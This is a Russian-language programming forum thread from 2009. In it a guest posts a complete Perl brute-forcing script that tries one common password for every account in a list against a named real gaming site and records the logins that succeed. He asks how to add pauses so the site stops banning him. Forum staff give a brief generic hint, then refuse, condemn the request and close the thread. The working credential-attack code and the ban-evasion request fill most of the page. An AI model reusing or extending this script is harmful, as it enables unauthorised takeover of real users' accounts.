Форум программистов «Весельчак У»
  *
Добро пожаловать, Гость. Пожалуйста, войдите или зарегистрируйтесь.
Вам не пришло письмо с кодом активации?

  • Рекомендуем проверить настройки временной зоны в вашем профиле (страница "Внешний вид форума", пункт "Часовой пояс:").
  • У нас больше нет рассылок. Если вам приходят письма от наших бывших рассылок mail.ru и subscribe.ru, то знайте, что это не мы рассылаем.
   Начало  
Наши сайты
Помощь Поиск Календарь Почта Войти Регистрация  
 
Страниц: [1]   Вниз
  Печать  
Автор Тема: Как сделать Sleep после проверки 100 строк  (Прочитано 9245 раз)
0 Пользователей и 5 Гостей смотрят эту тему.
Byter
Гость
« : 02-06-2009 10:20 » 

в общем имеется код:
Код:
use IO::Socket;
use threads;
use threads::shared;
use Term::ReadKey;
use Fcntl ':flock';

$pwd =  shift || '123456'    ; #Пароль
$threads =  shift || 10         ; #Кол-во потоков
$ml      =  shift || 'nick.txt' ; #Список акков
$fname   = 'good.txt'      ; #Валидные

my $i : shared = 0;
my @trl;
$| =1;

printf "\n";
print "Loading...\n";

open (ACS, "<$ml") || die("Could not open acc list file!");
my @login : shared = <ACS>;
chomp(@login);
close(ACS);

$size = scalar @login;
print  "Loaded: ".$size." accs.\n";
while (not defined ($key = ReadKey(-1))) {
               
        }
print "Start $key\n";


for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

       while(@login)
{
{lock(@login);$login = shift @login;}
my $sock = sock();

my $data =
"-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"username\"\n\n".
"$login\n".
"-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"password\"\n\n".
"$pwd\n".
                "-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"change_email\"\n\n".
"2\n".
                "-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"email\"\n\n".
"\n".
                "-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"national_id\"\n\n".
"1234567\n".
                "-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"bday\"\n\n".
"1989-01-01\n".
                "-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"occupation\"\n\n".
"1\n".
                "-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"education\"\n\n".
"1\n".
                "-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"interests\"\n\n".
"1\n".
                "-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"emailverify\"\n\n".
"submit\n".
"-----------------------------29996291521054--\n\n";

my $re =
"POST /user/emailverify.php?a=submit HTTP/1.1\n".
"Host: www.garena.com\n".
"User-Agent: Mozilla/5.0\n".
"Connection: close\n".
"Referer: http://www.garena.com/user/emailverify.php\n".
"Content-Type: multipart/form-data; boundary=---------------------------29996291521054\n".
"Content-Length: ".length($data)."\n\n".$data;

print $sock $re;
read($sock,my $answ,10000);

if($answ =~ /cdb_auth/)
{
print "[+] $login\n";
open(FILE, ">>$fname") || die("Could not open $fname\n");
flock(FILE, LOCK_EX);
print FILE "$login:$pwd\n";
flock(FILE, LOCK_UN);
close(FILE);
}
{lock($i);$i++;}
print "< ".sprintf("%.2f", ($i/$size)*100)."% >\r";
close($sock);
}
}

sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => 'garena.com',
    PeerPort => 80,
    PeerProto => 'tcp',
    TimeOut => 10
) or print "Can't connect\n";
} while (!$sock);
return $sock;
}
Как сделать Sleep(паузу на 15 сек) каждые 100 строк?Не понял
Записан
RXL
Технический
Администратор

Offline Offline
Пол: Мужской

WWW
« Ответ #1 : 02-06-2009 10:35 » new

Byter, полагаю также, как и всегда: объявить переменную под счетчик и инициализировать ее нулем, после каждой строки счетчик инкрементировать и проверить ее на кратность 100 (напр.: unless ($counter % 100) { .... }) и по срабатыванию условия вызвать функцию sleep(15).

Для чего вообще был предназначен код?
« Последнее редактирование: 02-06-2009 10:37 от RXL » Записан

... мы преодолеваем эту трудность без синтеза распределенных прототипов. (с) Жуков М.С.
Byter
Гость
« Ответ #2 : 02-06-2009 11:38 » 

RXL, Увы я почти нечего не понял так как ещё новичок в этом деле) но спасибо буду думать

Из кода вроде и так видно это брутфорс то есть для подбора паролей. Код работает но после проверки примерно 100 строк на сайте банят а если делать остановку примерно в 15 сек то не забанят))
Записан
Byter
Гость
« Ответ #3 : 02-06-2009 12:49 » 

RXL, а можно пример более наглядный для особо незнающих? Улыбаюсь
Записан
RXL
Технический
Администратор

Offline Offline
Пол: Мужской

WWW
« Ответ #4 : 02-06-2009 12:51 » 

Byter, знаешь, я не хочу помогать в такой задаче.
Записан

... мы преодолеваем эту трудность без синтеза распределенных прототипов. (с) Жуков М.С.
Вад
Команда клуба

ru
Offline Offline
Пол: Мужской

« Ответ #5 : 02-06-2009 13:01 » 

Это я правильно понимаю, что тупо ищутся пользователи, у которых пароль "123456"?
Нда, надеюсь, будет и на улице кулхацкеров с чужими скриптами "праздник", когда погрузят в "бобик" по ст.272 УК РФ.
Записан
McZim
Модератор

ru
Offline Offline
Пол: Мужской
Я странный


WWW
« Ответ #6 : 02-06-2009 13:35 » 

Тема закрыта!
Записан

The CBO without stats is like a morning without coffee. (c) T.Kyte.
Страниц: [1]   Вверх
  Печать  
 

Powered by SMF 1.1.21 | SMF © 2015, Simple Machines